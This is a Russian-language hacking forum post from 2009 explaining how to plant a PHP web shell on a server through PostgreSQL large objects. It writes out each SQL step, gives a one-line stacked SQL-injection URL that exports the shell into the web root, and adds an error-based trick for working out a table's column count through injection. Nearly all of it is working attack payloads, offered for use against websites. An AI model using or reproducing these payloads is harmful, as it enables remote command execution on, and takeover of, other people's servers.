Показать сообщение отдельно

Вариант заливки шелла
  #30  
Старый 29.12.2009, 12:37
krypt3r
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
С нами: 10021597

Репутация: 905


По умолчанию Вариант заливки шелла

Заливка шелла через большие объекты (large objects).
1. Создаем LO.
Код:
dbname=# SELECT lo_create(-1);
Запрос вернет идентификатор типа 4294967295. Это id созданного LO.
2. Подготовим шелл и пропишем его в БД
Код:
dbname=# UPDATE pg_largeobject SET data = '<?php passthru($_GET[cmd]); ?>' WHERE loid = 4294967295;
3. Экспортируем код во внешний файл
Код:
dbname=# SELECT lo_export(4294967295, '/var/www/public_html/uploads/shell.php');
Шелл залит. Осталось удалить LO из БД
Код:
dbname=# SELECT lo_unlink(4294967295);
Все это можно заюзать в одной строке
Код:
http://site.com/index.php?id=1;select+lo_creat(37337);update+pg_largeobject+set+data=$$some_code$$+where+loid=37337;select+lo_export(37337,$$some_file$$);select+lo_unlink(37337);--
Для заливки также требуются права usesuper

PS. Ну и случайно нашел. На запрос типа
Код:
http://site.com/index.php?id=1+and+1=(select+*+from+sometable+as+q(a,b,c,d,e,f))
вывалится ошибка
Код:
ERROR:  table "q" has 5 columns available but 6 columns specified
ERROR:  у таблицы "q" колонок доступно: 5, но указано: 6
если в таблице sometable 5 колонок (в запросе указано 6). При указании количества <= 5 будет ошибка
Код:
ERROR:  subquery must return only one column
ERROR:  подзапрос должен вернуть только одну колонку
Возможно, пригодится как альтернативный вариант подбора количества колонок в таблице